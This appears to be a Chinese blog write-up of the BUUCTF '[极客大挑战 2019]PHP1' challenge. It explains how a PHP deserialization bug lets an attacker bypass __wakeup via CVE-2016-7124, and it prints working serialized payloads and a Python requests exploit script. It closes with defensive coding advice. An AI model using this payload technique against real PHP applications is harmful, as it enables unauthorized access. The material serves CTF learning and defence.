当前位置: 首页 > news >正文

手把手教你复现BUUCTF那道经典的PHP反序列化题(绕过__wakeup拿flag)

从零攻破BUUCTF PHP反序列化漏洞:绕过__wakeup的实战艺术

当你在CTF赛场上第一次遇到PHP反序列化题目时,那种既熟悉又陌生的感觉往往让人手足无措。今天,我们就以BUUCTF平台上的经典题目"[极客大挑战 2019]PHP1"为例,带你体验一次完整的漏洞利用之旅。这不仅仅是一次解题过程,更是一次思维模式的训练——如何从黑盒测试到白盒分析,最终构造出完美的攻击payload。

1. 环境搭建与初步侦查

任何CTF挑战的第一步都是搭建实验环境。访问题目提供的Web界面,页面看似简单,但经验告诉我们,魔鬼往往藏在细节里。按下Ctrl+U查看源码是基本操作,不过这次似乎没有明显线索。

常见Web备份文件命名规律

  • www.zip
  • backup.tar.gz
  • source.rar
  • website.bak

尝试访问/www.zip,果然下载到一个压缩包。解压后发现三个关键文件:

/www ├── flag.php # 假flag诱饵 ├── index.php # 主入口文件 └── class.php # 核心业务逻辑

用代码编辑器打开index.php,关键代码片段如下:

<?php include 'class.php'; $select = $_GET['select']; $res = unserialize($select); ?>

这段代码暴露出明显的反序列化入口点——通过GET参数select接收序列化数据。这正是我们要重点攻击的突破口。

2. 核心漏洞代码分析

class.php中定义了名为Name的类,包含两个关键魔术方法:

class Name { private $username = 'nonono'; private $password = 'yesyes'; function __wakeup() { $this->username = 'guest'; // 反序列化时自动执行 } function __destruct() { if ($this->password != 100) { die("密码验证失败!"); } if ($this->username === 'admin') { global $flag; echo $flag; // 目标输出点 } } }

漏洞利用条件分析

  1. 需要控制$username为'admin'
  2. 需要设置$password为100
  3. 必须绕过__wakeup()的自动重置

3. 魔术方法的执行时机深度解析

理解PHP对象生命周期是成功的关键。以下是三个关键魔术方法的触发场景:

魔术方法触发时机序列化相关特性
__constructnew操作时触发反序列化时不会执行
__wakeupunserialize()后立即执行可被CVE-2016-7124绕过
__destruct对象销毁时(脚本结束或unset)执行通常作为漏洞触发点

特别需要注意的是__wakeup的绕过条件:

  • PHP版本需满足:PHP5 < 5.6.25 或 PHP7 < 7.0.10
  • 修改序列化字符串中对象属性数量,使其大于实际数量

4. 构造攻击Payload的完整过程

4.1 基础序列化尝试

首先创建测试脚本exploit.php

<?php class Name { private $username = 'admin'; private $password = '100'; } echo serialize(new Name()); ?>

输出结果:

O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";s:3:"100";}

4.2 处理私有变量编码问题

Private变量在序列化时会包含类名前后的空字符(%00),需要特殊处理:

原始格式:

s:14:"Nameusername" → 实际应为 s:14:"%00Name%00username"

修正后的序列化字符串:

O:4:"Name":2:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";s:3:"100";}

4.3 绕过__wakeup的终极Payload

应用CVE-2016-7124漏洞,将属性数量改为大于实际值(如3):

最终Payload:

O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";s:3:"100";}

URL编码后(注意%00需要双重编码):

?select=O:4:"Name":3:{s:14:"%2500Name%2500username";s:5:"admin";s:14:"%2500Name%2500password";s:3:"100";}

5. 实战中的常见问题排查

即使按照步骤操作,仍可能遇到各种意外情况。以下是几个典型问题及解决方案:

问题1:Payload执行后仍显示guest

  • 检查PHP版本是否符合漏洞条件
  • 确认属性数量修改正确(原为2,改为3或更大)

问题2:报错"unserialize(): Error at offset"

  • 检查私有变量名的长度计算是否正确
  • 确保%00被正确处理(在Burp Suite中可直接输入空字节)

问题3:返回空白页面

  • 检查__destruct中的条件判断
  • 确认password值确实为100(整数而非字符串)

在真实CTF比赛中,我建议使用Python的requests库进行自动化测试:

import requests payload = "O:4:\"Name\":3:{s:14:\"\x00Name\x00username\";s:5:\"admin\";s:14:\"\x00Name\x00password\";s:3:\"100\";}" response = requests.get("http://target.com/index.php?select=" + payload) print(response.text)

6. 防御方案与安全启示

虽然我们已经成功利用了这个漏洞,但作为负责任的安全研究者,更应该思考如何防御:

安全开发建议

  1. 避免直接反序列化用户输入
  2. 使用json_encode/json_decode替代序列化
  3. 及时更新PHP版本(修复CVE-2016-7124)
  4. 对魔术方法中的安全逻辑进行二次验证

输入验证示例

if (preg_match('/^[a-zA-Z0-9]+$/', $_GET['select'])) { $data = json_decode(base64_decode($_GET['select']), true); // 处理数据... } else { die('非法输入!'); }

通过这道题目,我们不仅学习了一个具体的漏洞利用技术,更重要的是建立了分析PHP反序列化问题的系统思维。下次当你看到unserialize()函数时,脑海中应该立即浮现出魔术方法的执行流程、属性修饰符的影响以及版本相关的漏洞特性——这才是CTF训练带给我们的真正价值。

http://www.jsqmd.com/news/966820/

相关文章:

  • LLM数学推理失效的四大底层瓶颈与工程解法
  • 解放双手的终极指南:3步掌握碧蓝航线全自动脚本工具
  • 2026毕业季告别标红:5款降AI工具实测,附保留排版的高效润色指南 - 降AI实验室
  • 揭阳黄金回收避坑指南 余生黄金回收拆套路 - 余生黄金回收
  • 江门闲置黄金变现参考 六区正规上门回收店铺全梳理 - 余生黄金回收
  • 手把手教你用Python处理Ninapro DB2肌电数据:从H5文件读取到可视化(附完整代码)
  • Node.js 12.12.0 完整源码包:含V8、npm、OpenSSL及全部构建依赖
  • 多模态推荐系统CRANE框架:双图学习与递归注意力机制解析
  • VC6.0实战项目:用虚基类和虚函数实现四种图形的动态面积计算
  • 从Twincat2升级到Twincat3,我踩过的那些‘坑’:数据对齐与地址兼容性实战避坑指南
  • 江门黄金上门回收避坑指南 六家合规门店报价与服务实测 - 余生黄金回收
  • 时间序列异常归因:从检测到根因诊断的工程化实践
  • A股多因子选股Python工具包:41个实操因子构建+中性化+IC与分层回测
  • 2026年上海婚姻家事律师选型指南:上海继承案件律师、上海继承纠纷律师、上海财产继承律师、上海起诉离婚律师、上海遗产分割律师选择指南 - 优质品牌商家
  • 用Python和Librosa库5分钟搞定音频音高识别(附完整代码与频率对照表)
  • 2026年漳州CPPM资料怎么领取?采购经理班期和官网400入口 - 众智商学院职业教育
  • 百度网盘解析工具:轻松获取真实下载地址的完整指南
  • ToastFish:利用碎片时间高效背单词的桌面弹窗工具
  • 长春市2026年最新黄金+白银+铂金+K金回收门店及联系方式电话推荐 黄金回收店铺TOP5排行榜 - 盛世金银回收
  • Claude Managed Agents:解耦会话状态的AI运行时操作系统
  • 别再只盯着振子了!从波导壁上‘开个口’说起:手把手理解缝隙天线的工作原理
  • S7-1200 Modbus RTU轮询太慢?手把手教你调优响应超时与重试参数(附实战案例)
  • 2026年5月上海继承纠纷律师核心能力评测对比:上海离婚协议起草律师/上海离婚官司律师/上海离婚房产分割律师/上海离婚纠纷律师/选择指南 - 优质品牌商家
  • 渝庆酒业回收服务全维度解析:联系与场景适配推荐 - 优质品牌商家
  • 从‘自我’的哲学思辨到技术文档写作:聊聊国科大英语课里的那些‘神翻译’
  • 运动损伤预防与表现提升的机器学习实践指南
  • JDspyder:突破秒杀瓶颈的智能抢购自动化工具,大幅提升抢购效率
  • 别再死记硬背公式了!用PyTorch Conv1D/2D/3D实战代码理解尺寸计算(附避坑指南)
  • 西宁市2026年最新黄金+白银+铂金+K金回收门店及联系方式电话推荐 黄金回收店铺TOP5排行榜 - 盛世金银回收
  • 思源宋体TTF完全解析:专业中文排版的7大实战应用